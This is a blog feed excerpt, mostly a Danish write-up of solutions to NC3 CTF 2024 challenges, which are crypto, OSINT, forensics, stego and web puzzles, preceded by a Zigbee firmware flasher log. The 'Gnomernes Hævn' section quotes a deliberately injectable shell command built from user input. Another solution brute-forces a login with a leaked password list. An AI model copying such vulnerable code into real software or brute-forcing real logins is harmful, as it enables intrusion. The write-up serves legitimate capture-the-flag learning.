2024-12-26 16:05:13.036 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.SPINEL at 460800 baud
2024-12-26 16:05:17.364 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.ROUTER at 115200 baud
2024-12-26 16:05:19.375 desktop universal_silabs_flasher.flasher INFO Triggering sonoff bootloader
2024-12-26 16:05:19.983 desktop universal_silabs_flasher.flasher WARNING Bootloader did not launch a valid application
2024-12-26 16:05:19.983 desktop universal_silabs_flasher.flasher INFO Detected ApplicationType.GECKO_BOOTLOADER, version '1.12.0' at 115200 baudrate (bootloader baudrate 115200)
ncp-uart-sw_EZNet6.10.3_V1.0.1.gbl  [####################################]  100%

Not working?

If the universal-silabs-flasher script doesn’t work, try using the Silabs Firmware Flasher, this page allows you to flash Silicon Labs EFR32MG21 based Zigbee dongles directly from your Chrome-based browser.

]]>NC3 CTF 2024 : Writeupshttps://ha1fdan.xyz/en/posts/nc3_ctf_2024/Mon, 16 Dec 2024 00:00:00 +0000https://ha1fdan.xyz/en/posts/nc3_ctf_2024/<h1 id="nc3-ctf-2024">NC3 CTF 2024</h1> <p><strong>Team:</strong> <a href="https://nc3ctf.dk/teams/45">OUHohoho</a></p> <p><strong>Total Score</strong>: 2272 points @ 24th place</p> <h2 id="løste-challenges">Løste challenges:</h2> <table> <thead> <tr> <th>Challenge</th> <th>Kategori</th> </tr> </thead> <tbody> <tr> <td><a href="#discord">Discord</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#regler">Regler</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#start-her">Start her!</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#nissesnak">Nissesnak</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#skoleudflugten">Skoleudflugten</a></td> <td>OSINT</td> </tr> <tr> <td><a href="#mere-kanel">Mere kanel!</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#julebrev">Julebrev</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#gammelnissen">Gammelnissen</a></td> <td>Crypto</td> </tr> <tr> <td><a href="#kryptoplikation">Kryptoplikation</a></td> <td>Crypto</td> </tr> <tr> <td><a href="#nisse_pension">Nisse-pension</a></td> <td>Reversing</td> </tr> <tr> <td><a href="#styrtet">Styrtet</a></td> <td>OSINT</td> </tr> <tr> <td><a href="#gnomernes-tegnestue">Gnomernes Tegnestue</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#julens-undergang">Julens Undergang</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#a-deep-secret">A Deep Secret</a></td> <td>Stego</td> </tr> <tr> <td><a href="#nisseportalen-1">Nisseportalen #1</a></td> <td>Boot2root</td> </tr> <tr> <td><a href="#julemandens-nskeliste">Julemandens Ønskeliste</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#gnomernes-h%C3%A6vn">Gnomernes Hævn</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#flimmer-p%C3%A5-fjernsynet">Flimmer På Fjernsynet</a></td> <td>Stego</td> </tr> <tr> <td><a href="#postnordpolen-i">PostNordpolen I</a></td> <td>Crypto</td> </tr> <tr> <td><a href="#regnskabsnisserne">Regnskabsnisserne</a></td> <td>Kom godt i gang</td> </tr> <tr> <td><a href="#ondsindede-loginfors%C3%B8g">Ondsindede Loginforsøg</a></td> <td>Efterforskning: Det Store Nissehack</td> </tr> <tr> <td><a href="#serverskjulet">Serverskjulet</a></td> <td>Efterforskning: Det Store Nissehack</td> </tr> <tr> <td><a href="#postnordpolen-ii">PostNordpolen II</a></td> <td>Crypto</td> </tr> <tr> <td><a href="#kodedepotets-hemmelighed">Kodedepotets Hemmelighed</a></td> <td>Efterforskning: Det Store Nissehack</td> </tr> <tr> <td><a href="#alternativ-kodedeling">Alternativ Kodedeling</a></td> <td>Efterforskning: Det Store Nissehack</td> </tr> <tr> <td><a href="#gerningsgnomens-afsl%C3%B8ring">Gerningsgnomens Afsløring</a></td> <td>Efterforskning: Det Store Nissehack</td> </tr> <tr> <td><a href="#nisse-g%C3%A6ld">Nisse-gæld</a></td> <td>Pwn</td> </tr> <tr> <td><a href="#skattekammeret-robotnisse">Skattekammeret - robotnisse</a></td> <td>Boot2root</td> </tr> <tr> <td><a href="#skattekammeret-storenisse">Skattekammeret - storenisse</a></td> <td>Boot2root</td> </tr> <tr> <td><a href="#gremlingram">GremlinGram</a></td> <td>Stego</td> </tr> <tr> <td><a href="#nisseportalen-2">Nisseportalen #2</a></td> <td>Boot2root</td> </tr> <tr> <td><a href="#gift-wrappinator-9001">Gift Wrappinator 9001</a></td> <td>Reversing</td> </tr> <tr> <td><a href="#raided">Raided</a></td> <td>Forensics</td> </tr> </tbody> </table> <h2 id="score-over-tid">Score over tid:</h2> <p><img src="https://ha1fdan.xyz/nc3_2024/Score_over_Time.png" alt="Score_over_Time.png"></p>NC3 CTF 2024

Team: OUHohoho

Total Score: 2272 points @ 24th place

Løste challenges:

Challenge Kategori
Discord Kom godt i gang
Regler Kom godt i gang
Start her! Kom godt i gang
Nissesnak Kom godt i gang
Skoleudflugten OSINT
Mere kanel! Kom godt i gang
Julebrev Kom godt i gang
Gammelnissen Crypto
Kryptoplikation Crypto
Nisse-pension Reversing
Styrtet OSINT
Gnomernes Tegnestue Kom godt i gang
Julens Undergang Forensics
A Deep Secret Stego
Nisseportalen #1 Boot2root
Julemandens Ønskeliste Kom godt i gang
Gnomernes Hævn Kom godt i gang
Flimmer På Fjernsynet Stego
PostNordpolen I Crypto
Regnskabsnisserne Kom godt i gang
Ondsindede Loginforsøg Efterforskning: Det Store Nissehack
Serverskjulet Efterforskning: Det Store Nissehack
PostNordpolen II Crypto
Kodedepotets Hemmelighed Efterforskning: Det Store Nissehack
Alternativ Kodedeling Efterforskning: Det Store Nissehack
Gerningsgnomens Afsløring Efterforskning: Det Store Nissehack
Nisse-gæld Pwn
Skattekammeret - robotnisse Boot2root
Skattekammeret - storenisse Boot2root
GremlinGram Stego
Nisseportalen #2 Boot2root
Gift Wrappinator 9001 Reversing
Raided Forensics

Score over tid:

Score_over_Time.png

Løsninger:

Discord

NC3 CTF har en Discord server, hvor man kan snakke generelt med andre deltagere, kommunikere med admins, se first bloods på challenges, og dele writeups efter konkurrencen er slut.

Kom og vær med - måske nisserne har gemt et flag!

https://nc3ctf.dk/discordauth

Løsning: Screenshot af NC3 CTF 2024 Discord

Flag: NC3{n1ss3rn3_ch4tt3r_pÅ_l1v3t_lØs}

Regler

Opsummering af info og regler:

  • Flag har formatet NC3{.*}
  • Opgaver scores dynamisk ud fra antal løsninger
  • Der kommer flere opgaver 6. december kl. 14:00
  • Nogle opgaver hostes på TryHackMe og kræver en gratis bruger der
  • Det er ikke tilladt at dele eller spørge om hints og flag
  • Det er ikke tilladt at angribe CTFens infrastruktur

Læs resterende info og regler grundigt her før I går i gang. Måske gemmer der sig også et flag!

Løsning: Under regler (https://nc3ctf.dk/regler) nederst på siden finder man flag.

Flag: NC3{hu5k_r3gl3rn3_så_bli1v3r_d3t_sj0v3s7_f0r_4ll3!}

Start her!

Velkommen til NC3 CTF 2024!

Du har her adgang til en række opgaver inden for forskellige cyber security kategorier. Jo flere der løser en opgave, jo mindre bliver den værd, så over tid bliver opgavepoint en god indikator på sværhedsgrad.

Målet i hver opgave er at finde et “flag”, altså en tekststreng med et bestemt format, der indikerer, at opgaven er løst. Flag i NC3 CTF starter med NC3{ og slutter med } og indtastes i inputfeltet for den løste opgave.

Her er dit første flag: NC3{d3t_jul_d3t_c00l!}

Held og lykke!

Flag: NC3{d3t_jul_d3t_c00l!}

Nissesnak

Alle kan være med her. Reversing for alle. Sniksnak.

Vedhæftet fil: nc3ctf2o24_nissesnak.zip

Løsning: I zipfilen er der en html side:

<!DOCTYPE html />
<meta charset="UTF-8">
<html>
<body>

<h1>Nissesnak - NC3CTF2o24</h1>

<script>
function ReverseString(input)
{
return input.split('').reverse().join('');
}

function OnClick()
{
var flagValue = document.getElementById("flagInput").value;

if (ReverseString(flagValue) == '}kansessin_tdnevgab{3cn')
{
alert('Du fandt flaget');
}
else
{
alert('Prøv igen');
}
}
</script>


Indtast flaget: <input type="text" id="flagInput"/>
<input type="button" onclick="OnClick();" value="Afprøv"/>

</body>
</html>

}kansessin_tdnevgab{3cn

Reverse string: python3 -c 'print("}kansessin_tdnevgab{3cn"[::-1])' giver nc3{bagvendt_nissesnak}

Flag: nc3{bagvendt_nissesnak}

Skoleudflugten

I år har nisserne planlagt at besøge alle danske skoler. Hver skole skulle sende adressen og et billede af skolens tydeligste kendetegn, så den er nemmere at finde fra luften.

Men én skole har kun sendt billede, og det ville være synd, hvis nisserne ikke kom på besøg der. Kan du finde adressen til skolen, så de også får besøg i år?

Flag format: NC3{Vejnavn Husnummer}

F.eks.: NC3{Nissegade 24}

Vedhæftet fil: Voresskole.jpg

Løsning: Med en hurtig reverse image search finder vi Kunst på Broagerland: Hvalen ved Broager Skole

Adressen for Broager Skole er Nejsvej 19, 6310 Broager.

Flag: NC3{Nejsvej 19}

Mere kanel!

Efter en god, lille indledning er her noget lidt sværere.

Vedhæftet fil: nc3ctf2o24_mere_kanel.zip

Løsning: I zipfilen er der en html side:

<!DOCTYPE html />
<meta charset="UTF-8">
<html>
<body>
<center>

<h1 style="font-family:'Lucida Console'">Mere kanel! - NC3CTF2o24</h1>


<script>
	function OnClick()
	{
		var flagValue = document.getElementById("flagInput").value;

		var flag = '';
		for (var i = 0; i < flagValue.length; i++)
		{
			var c = flagValue.charCodeAt(i);
			flag += String.fromCharCode(c + 1);
			flag += String.fromCharCode(c ^ 1);
		}

		if (flag == atob("T09EQjQyfHplZWZkZmRmZGZkdXVgXmZkZmRmZHNzc3Nzc2Bec3NqaHRyZmRvb2hmc3P5+WVlfnw="))
		{
			alert('Du fandt flaget');
		}
		else
		{
			alert('Prøv igen');
		}

		console.log("Flag: " + btoa(flag));
	}
</script>


Indtast flaget: <input type="text" id="flagInput"/>
<input type="button" onclick="OnClick();" value="Afprøv"/>

</center>
</body>
</html>

Med lidt Python kan vi hurtigt løse dette:

import base64
decoded = base64.b64decode("T09EQjQyfHplZWZkZmRmZGZkdXVgXmZkZmRmZHNzc3Nzc2Bec3NqaHRyZmRvb2hmc3P5+WVlfnw=")
print(''.join(chr(decoded[i] - 1) for i in range(0, len(decoded), 2) if (decoded[i] - 1) ^ 1 == decoded[i + 1]))

Flag: NC3{deeeet_eeerrr_risengrød}

Julebrev

Hjælp! Julemanden har fået et brev i sin postkasse fra et barn, men han kan slet ikke tyde, hvad der står!

Billde af Julebrev

Vedhæftet fil: julebrev.txt

Løsning: Simpel ciphertext, med simple gætterier, som f.eks. “Kære Julemand” og “NC3”.

KÆRE JULEMAND,

JEG HÅBER, DU HAR DET GODT OPPE PÅ NORDPOLEN,
OG AT RUDOLF OG DE ANDRE RENSD⛸️R FÅR MASSER AF GULER🧤DDER.

JEG 🧤NSKER MIG:
- AT ALLE 🔔ERDENS B🧤RN KAN FÅ MAD NOK OG EN GOD FAMILIE
- AT INGEN MÅ 🔔ÆRE ENSOMME OG ALENE I JULEN
- NC3{FR3D_PÅ_J0RD_0G_0GSÅ_1_RUMM3T}
- EN KÆMPE FLE🎁I TRA🎁 BANE

MANGE KÆRLIGE HILSNER
MAGNUS, 7 ÅR

Flag: NC3{FR3D_PÅ_J0RD_0G_0GSÅ_1_RUMM3T}

Gammelnissen

Gammelnissen krypterer altid sine beskeder med RSA og skriver hvert primtal ned på hver sin lap papir - men nu har han glemt, hvor han lagde den ene.

Mon ikke også ét er nok…

Vedhæftet filer: encrypt.py og krypteret.txt

Løsning: Ved at regne os frem til d kan vi dekryptere den krypterede besked.

from math import isqrt

n = 113911967470309902498408355902002849141315080752710385265970164128666973595176344769929712328073912045889359818114591877923052777733321490306146637488744172731692293178898440960409438792433505782977089979664244577305445285018320700759389078834385329224670109256967919368893276088261120001891752743010832994161
ct = 181418563625235140825700189846742192203761169128129988853260864253616933650143288011695280847386639743255770112135714678317911664798191379176143996036639508592464099027261445464652005100125349285229059123836955894715533222277904738129836808228104462852378456333009976696034882026353617159677318042624866664

# More precise p computation
p = isqrt(n)

# Check if p is exact
while p * p > n:
    p -= 1
while p * p < n:
    p += 1

# Verify n = p * p
assert n == p * p, "Factorization failed"

# Compute φ(n) = p(p-1)
phi = p * (p-1)

# Compute private key d
e = 0x10001
d = pow(e, -1, phi)

# Decrypt the message
m = pow(ct, d, n)

# Convert to bytes
from Crypto.Util.number import long_to_bytes
flag = long_to_bytes(m)
print(flag.decode())

Flag: NC3{3t_pr1mt4l_1_hånd3n_3r_b3dr3_3nd_t0_på...3ll3r_v3nt}

Kryptoplikation

Crypto? Er det ikke sådan noget med en blockchain og bitcoin eller hvad?

Vedhæftet filer: encrypt.py og krypteret.txt

Løsning: Ved at antage at flaget starter med NC3{ og slutter med } kan vi bruge:

from sympy import mod_inverse

# Constants from the encrypt.py script
P = 13187894026947502600331395231459335882158393410614133036296342117478704820555154018132946245287063906492618556075499328589037764675831105264487871422591331

# Known plaintext details
known_plaintext_char = 'N'  # First character of the flag
known_plaintext = ord(known_plaintext_char)  # ASCII value of 'N'

# Ciphertext (from krypteret.txt)
ciphertext = [13068625329403427490209226484937886428200436811391600198863670891144496138196857451785632892218955434297452961323931225045892056105830636229801232124101611, 8013178340487526826124636731962961652928458866173957508131223711212639098315916960578351604079689741981661485170114164549782695259613610607325807631866316, 9052097101030991151303394056746284813906377661702743708345336433343659198842374257634180977423434857290358419176243467475738566095190458506581108366627643, 10970909692059152988164683710950998530584939787130272325530000242493421156750893429949421920020113791647531494186411268603456029673010195592176190771497337, 13028869096888735786835170236097403276881117944984089253052780482366426577410758596336528441196252610232397763073408523864843486582497146551572352357938371, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 5915462703143252324080093957976073755312961841912629634797553062561564116869952938742140631880848099331740018032594208107346668826793169969700766279262042, 4896422058857133850588364757612992169994702479587598907488885544819578796736545069410863484048454396055570683151726255771915082752883066909559905427582335, 11070300273345882246599824333052206408883236953149049690057226264438595058716140568572183047576870851810169489812718021556077453481343919787748390186905437, 6014853284429981582515234580077281633611259007931406999324779084506738018835200077364901759437605159494378013658900961059968092635126894165272965694670142, 6014853284429981582515234580077281633611259007931406999324779084506738018835200077364901759437605159494378013658900961059968092635126894165272965694670142, 7933665875458143419376524234281995350289821133358935616509442893656499976743719249680142702034284093851551088669068762187685556212946631250868048099539836, 7933665875458143419376524234281995350289821133358935616509442893656499976743719249680142702034284093851551088669068762187685556212946631250868048099539836, 7933665875458143419376524234281995350289821133358935616509442893656499976743719249680142702034284093851551088669068762187685556212946631250868048099539836, 1958568823542853540235345903045196867997880991835039562995554217927831518694618027764345393619381758422228273260690502308766033101153226763823962171032934, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127, 2858340770284896903604906356886828999358183754937537452871550509335608156469729330748309188383666989503232013389990351101051910605062860789278183724222921, 5915462703143252324080093957976073755312961841912629634797553062561564116869952938742140631880848099331740018032594208107346668826793169969700766279262042, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834, 3897259530828361228783663681670152160336102550466323653085663231466628256996186627804138561727412104811928947396119654027007781440639708688533484458984248, 4896422058857133850588364757612992169994702479587598907488885544819578796736545069410863484048454396055570683151726255771915082752883066909559905427582335, 10990787808316498839851711835371240106244599220334027798435445446882455937143942857673974145531465203680059093311672619193980314434676940431290630654578957, 1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127, 2858340770284896903604906356886828999358183754937537452871550509335608156469729330748309188383666989503232013389990351101051910605062860789278183724222921, 5915462703143252324080093957976073755312961841912629634797553062561564116869952938742140631880848099331740018032594208107346668826793169969700766279262042, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 13008990980631389935148142111677161701221458511780333780147335277977391797017709168611976215684901198199870163948147173274319201820830401712457912474856751, 840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127, 840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127, 860015714227351659995504205001148980040983896694986944065105882629707076989012447534859343741582407015948541878777147611237307980576144347225341787026747, 10990787808316498839851711835371240106244599220334027798435445446882455937143942857673974145531465203680059093311672619193980314434676940431290630654578957, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 2858340770284896903604906356886828999358183754937537452871550509335608156469729330748309188383666989503232013389990351101051910605062860789278183724222921, 1958568823542853540235345903045196867997880991835039562995554217927831518694618027764345393619381758422228273260690502308766033101153226763823962171032934, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834, 6934503347429370797571823158339155340631221204237660362106220580303549437003360808073417779713241802607909352913462160442778254900703273029841627130941749, 6014853284429981582515234580077281633611259007931406999324779084506738018835200077364901759437605159494378013658900961059968092635126894165272965694670142, 5895584586885906472393065833555832179653302408708874161892107858172529336476903511017588406369496687299212418907332857516822384065126425130586326396180422]


# Step 1: Calculate the encryption key
first_ciphertext = ciphertext[0]
key = (first_ciphertext * mod_inverse(known_plaintext, P)) % P
print(f"Derived Key: {key}")

# Step 2: Decrypt the ciphertext
decrypted_bytes = []
for i, c in enumerate(ciphertext):
    decrypted_value = (c * mod_inverse(key, P)) % P  # Modular inverse
    decrypted_byte = decrypted_value % 256  # Wrap into ASCII range
    decrypted_bytes.append(decrypted_byte)
    print(f"Byte {i}: Decrypted Value = {decrypted_value}, ASCII = {chr(decrypted_byte)}")

# Step 3: Convert decrypted bytes to a string
try:
    decrypted_text = ''.join(chr(byte) for byte in decrypted_bytes)
    print("\nDecrypted Flag:", decrypted_text)
except ValueError as e:
    print("\nError during ASCII conversion:", e)

Flag: NC3{https://www.cryptoisnotcryptocurrency.com/}

Nisse-pension

Nissen Fritz er træt af den daglige rutine i Nisseby, men han opfylder ikke kravene til regeringens tidlige Nisse-pension.

Mon han kan snyde systemet, så han kan stoppe på arbejdsmarkedet 250-300 år før tid?

Bemærk: Opgaven lukker op for endnu en opgave om Nisseby.

Vedhæftet fil: nisseby

Løsning: Ved at bruge PINCE (Cheat Engine til linux) kan jeg snyde med hvor mange penge jeg har og dage jeg arbjedet.

Screenshot af PINCE setup

Dag 100001 - du har ❄️200
1. 🛠️ Arbejd på værkstedet
2. 💤 Sov
3. 🛒 Gå i Frosto
4. 👋 Afslut
> 3

🛒 Velkommen i Frosto, hvad vil du købe? 🛒
1. Julegløgg    ❄️50
2. Hint        ❄️500
3. Hint        ❄️1.337
4. Flag        ❄️10.000.000
5. Gå tilbage
> 4

🎉 Tillykke! Her er dit flag: NC3{30_År5_0psp4r1ng_s1kr3t_nu_k4n_Fr1tz_Gå_pÅ_p3ns10n 🎅} 🎉
halfdan@desktop:~/

Flag: NC3{30_År5_0psp4r1ng_s1kr3t_nu_k4n_Fr1tz_Gå_pÅ_p3ns10n 🎅}

Styrtet

Ved testflyvning af den nye Slæde2024 løb nogle af rensdyrene tør for æbleskiveskraft, og vi måtte nødlande. Men hvor er vi?

Der blev taget disse to billeder og sendt til Geonisserne. De svarer dog først efter tre dage. Kan du hjælpe hurtigere?

Flaget er området som helhed, det vil være tydeligt, når stedet er fundet.

MD5 af området (uden NC3{} omkring) er 5f04609c04b031b6ed03b9d200e6cb5c (produceret med CyberChef)

Vedhæftet filer: styrt1.png og styrt2.png

Løsning: Ved at zoome lidt ind på det ene billede spotter man noget der ligner et højt tårn:

Screenshot af det ene styrt billede

Ved første tanke lignede dette Helnæs Fyr, men med nærmere analyze kan man hurtigt spotte at det er Tunø Kirke, området er Tunø; hvilket også matcher MD5et.

Flag: NC3{Tunø}

Gnomernes Tegnestue

Åh nej! Nissernes efterretningstjeneste har opsnappet, at ondsindede gnomer planlægger et cyberangreb for at forpurre julen!

Vores skarpsindige OSINT-nisser har lokaliseret gnomernes hemmelige tilholdssted – en digital borg, skjult i cyberspace, hvor de samler sig for at lægge deres skumle planer.

Men gnomerne har sikret deres tilholdssted med en snedig login-platform og en specialbygget database, der hidtil har modstået nissernes hackingforsøg. Kan du hjælpe med at bryde igennem deres forsvar, infiltrere deres tegnestue og afsløre planerne, før det er for sent?

https://tryhackme.com/jr/gn0mernestegnestu32o24

Vedhæftet fil: gnomernes_tegnestue.zip

Løsning: Creds ligger i creds.txt filen. Log ind som admin på websitet på http:// og indtast admins creds. Så står flaget på forsiden under Hemmelig besked.

============|============
BRUGERNAVN  |ADGANGSKODE
============|============
admin       |jU1en_sk4L-ikk3_f0rBl1ve-foR_ev1gT
bytebryder  |jEg_knu5eR-b1tS_7iL-m0rgeNm4D
kryptklo    |dU_V1l-4ldrIg_k0mm3-uD_4f-m1Ne_Kl0er
frostbider  |1ngEn_kan-kl4Re_m1t-k0Lde_g3bi5
kodeknuser  |d1N_k0dE-5pIser_j3G-Til_m1dDagsM4d

Flag: NC3{l4v_iKk3_3gNe_1mpLemen7ationer_4f_d4t4Bas3r}

Julens Undergang

Vores threat intelligence nisser har efterretninger på, at gnomerne i Gnomistan planlægger et stort angreb på Nisseland og julen selv.

Vi har en spionnisse udstationeret i Kaos A/S, den primære organisation bag planlægningen og udførslen af angrebene. Hun har sniffet netværkstrafik, vi håber kan give mere konkrete leads - det meste er dog krypteret!

Hjælp os med at få adgang til al kommunikationen, så vi kan sikre julen og Nisseland!

Vedhæftet fil: sniffed.pcapng

Løsning:

I tls pakke med mail kommunikation, stream 27, findes flaget

Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
Subject: Operation Julens Undergang
From: Gnoklios <ceo@kaos.gnom>
To: Afdelingen for Julens Undergang <undergang@kaos.gnom>

Alle gnomer i Kaos A/S!

Tiden er kommet til den st=C3=B8rste operation mod Nisseland til dato!
Nisserne er travle med juleforberedelserne og er ikke opm=C3=A6rksomme p=C3=
=A5 deres omgivelser.
Vi har over den seneste m=C3=A5ned infiltreret deres v=C3=A6rksteder og sabot=
eret leget=C3=B8jet, s=C3=A5 de er mere pressede end nogensinde f=C3=B8r.

Operation Julens Undergang begynder p=C3=A5 torsdag lige efter deres frokostp=
ause - en tyk nisse er en langsom nisse.

Det er EKSTREMT vigtigt, denne information bliver i Kaos A/S.
Hvis bare en enkelt snagende nisse f=C3=A5r fat p=C3=A5 informationen med sin=
e klamme korte fingre, er hele operationen kompromiteret.

NC3{d3jl1g_3r_jul3n_pr@gt1g_3r_d3ns_und3rg4ng}

Julen bliver endelig vores!
Gnoklios, CEO Kaos A/S

Flag: NC3{d3jl1g_3r_jul3n_pr@gt1g_3r_d3ns_und3rg4ng}

A Deep Secret

Efter en stor politiaktion mod banden Hydra Tech Commandos har NC3 modtaget en række devices til undersøgelse. Lederen KrigStoffer overfører tilsyneladende ofte feriebilleder til de andre medlemmer via WIM disk images.

Vi mistænker, de bruger billederne til at gemme kommunikation om deres salg af LSD, heroin og andre stoffer med alternative metoder.

Vedhæftet fil: feriebilleder.wim

Løsning: Ved at bruge 7-Zip: 7z x feriebilleder.wim kan vi extract 53 filer, hvor 49 af dem er 150x150 png billeder med alle mulige farver i baggrunden og et bogstav, tal eller andet char i forgrunden.

Billederne indeholder som sagt forskellige char. Billed filerne har navne der er sorterbare, gør man det og laver grupper af 7 filnavne, vil man kunne se et mønster. Hvilket giver 7 grupper, med 7 filnavne i hver. Tager man billeder der viser en char fra hver grupper i dens orden, og sætter dem sammen haves flaget.

KDAsIDAp        N
KDAsIDEp        3
KDAsIDIp        D
KDAsIDMp        3
KDAsIDQp        R
KDAsIDUp        _
KDAsIDYp        R

KDEsIDAp        C
KDEsIDEp        _
KDEsIDIp        R
KDEsIDMp        R
KDEsIDQp        N
KDEsIDUp        D
KDEsIDYp        Ø

KDIsIDAp        3
KDIsIDEp        M
KDIsIDIp        Ø
KDIsIDMp        _
KDIsIDQp        4
KDIsIDUp        4
KDIsIDYp        M

KDMsIDAp        {
KDMsIDEp        1
KDMsIDIp        M
KDMsIDMp        4
KDMsIDQp        T
KDMsIDUp        7
KDMsIDYp        M

KDQsIDAp        4
KDQsIDEp        N
KDQsIDIp        M
KDQsIDMp        L
KDQsIDQp        1
KDQsIDUp        4
KDQsIDYp        3

KDUsIDAp        L
KDUsIDEp        3
KDUsIDIp        3
KDUsIDMp        T
KDUsIDQp        V
KDUsIDUp        5
KDUsIDYp        !

KDYsIDAp        L
KDYsIDEp        _
KDYsIDIp        _
KDYsIDMp        3
KDYsIDQp        3
KDYsIDUp        T
KDYsIDYp        }


NC3{4LL
3_M1N3_
DRØMM3_
3R_4LT3
RN4T1V3
_D4745T
RØMM3!}



NC3{4LL3_M1N3_DRØMM3_3R_4LT3RN4T1V3_D4745TRØMM3!}

Flag: NC3{4LL3_M1N3_DRØMM3_3R_4LT3RN4T1V3_D4745TRØMM3!}

Nisseportalen #1

Nissernes største ønske er en portal til deling af alle deres AI-genererede billeder aka Nisseportalen. Projektet er dog i fare efter Nissedevs utallige fiaskoer med både Dangerzone og Nissezonen.

Praktikantnissen har fået til opgave at redde Nisseportalen og få ryddet op i Nissedevs rod. Kan du hjælpe med at redde Nisseportalen og finde alle de sårbarheder, der må være, så projektet endelig kan blive gjort færdigt?

Men vær beredt, det er ikke til at sige hvad Nissedev har haft gang i…

https://tryhackme.com/jr/nisseportalen2o24

Løsning: gobuster viser mappen /portal/. Hvis man tager source på portal/index.html finder man:

<html>
<head>

</head>

<body>
<script>
window.location.replace("index.php");
</script>
<p>NC3{Flag1:V3lkOmM3n_7IL_NI553POR74L3n}</p>
</body>
</html>

Flag: NC3{Flag1:V3lkOmM3n_7IL_NI553POR74L3n}

Julemandens Ønskeliste

Julemandens hjemmeside er klar til jul! Besøg siden og send din ønskeliste til den gode gamle julemand.

Men der er en hemmelighed gemt bag kulisserne – julemandens egen ønskeliste. Kan du finde den og afsløre, hvad han selv ønsker sig i år?

https://tryhackme.com/jr/julem4ndens0nskeliste2o24

Løsning:

  1. Landing page afslører at siden er lavet af “Julemand” og en login.html side
  2. På login.html er der adgang til register.html hvis man inspisere koden
  3. Man opretter en bruger og logger ind, hvorefter man redirecter til ønskeliste.html
  4. Her finder man en kommentar i koden om at man ikke har begrænset adgangen til /uploads. Her finder man /uploads/wordlist/julemandens_hemmelige_koder.txt, med en række adgangskoder
  5. vi sende login til burpsuite og vælger “Julemand” som burgernavn og finder at password “christmas1” giver en adgang til julemandens ønskeliste: julemandensønskeliste.html

Flag: NC3{jul3mand3ns_ønsk3l1st3}

Gnomernes Hævn

Neeeej, gnomerne har opdaget, de kom til at leake alle deres passwords i Gnomernes Tegnestue direkte i den udleverede fil!!!

Det ser ud til, de har skiftet flaget og alle deres passwords på baggrund af lækket - kan du mon stadig få adgang?

OBS: Opgaven er identisk med Gnomernes Tegnestue, bare med alle passwords redacted i den udleverede ZIP.

https://tryhackme.com/jr/gn0mernesh43vn2o24

Vedhæftet fil: gnomernes_hvn.zip

Løsning: I ZIP-filen ligger koden til flask. Der er en linje vulnerable code for username parametren fra loginsiden: get_password_query = f"awk -F'|' -v val='{username}' '{{gsub(/[[:space:]]/, \"\", $1); print ($1==val?$2:Null)}}' creds.txt | grep ."

awk kommandoen kigger bare fra linje 1. Den forstår ikke hvad der er en header. Så fra listen:

============|============
BRUGERNAVN  |ADGANGSKODE
============|============
admin       |REDACTED
bytebryder  |REDACTED
kryptklo    |REDACTED
frostbider  |REDACTED
kodeknuser  |REDACTED

Matcher BRUGERNAVN | ADGANGSKODE. Så input BRUGERNAVN og ADGANGSKODE og så kommer man til den hemmelige side..

Flag: NC3{s@t_1kk3_gn0m3r_71l_4t_1mpl3m3nt3r3_CTF_0pg4v3r}

Flimmer På Fjernsynet

Arrrrgh, knas på kanalen og støj på linjen, nu flimrer mit gamle møg TV igen, jeg skulle lige til at se Pyrus 😠

https://tryhackme.com/jr/flimmerfjernsynet2o24

Løsning: Screenshot af index side

nå knappen aktiveres skifter billedet til et med “sne”

Screenshot af sne billed

Fra Html’en ser vi:

<body>
    <div class="container">
        <img src="/skift-kanal" alt="Flimmer" id="flimmer" class="channel">
        <img src="../static/tv.png" alt="TV" class="tv">
        <div class="button-container">
            <button class="switch-button" onclick="switchChannel()">Skift Kanal</button>
        </div>
    </div>
    <script>
        function switchChannel() {
            const flimmer = document.getElementById('flimmer');
            const timestamp = new Date().getTime(); // Timestamp to bypass caching
            flimmer.src = `/skift-kanal?${timestamp}`;
        }
    </script>
</body>

Først download en bunke billeder vi kan “lege” med

for i in {1..10}; do
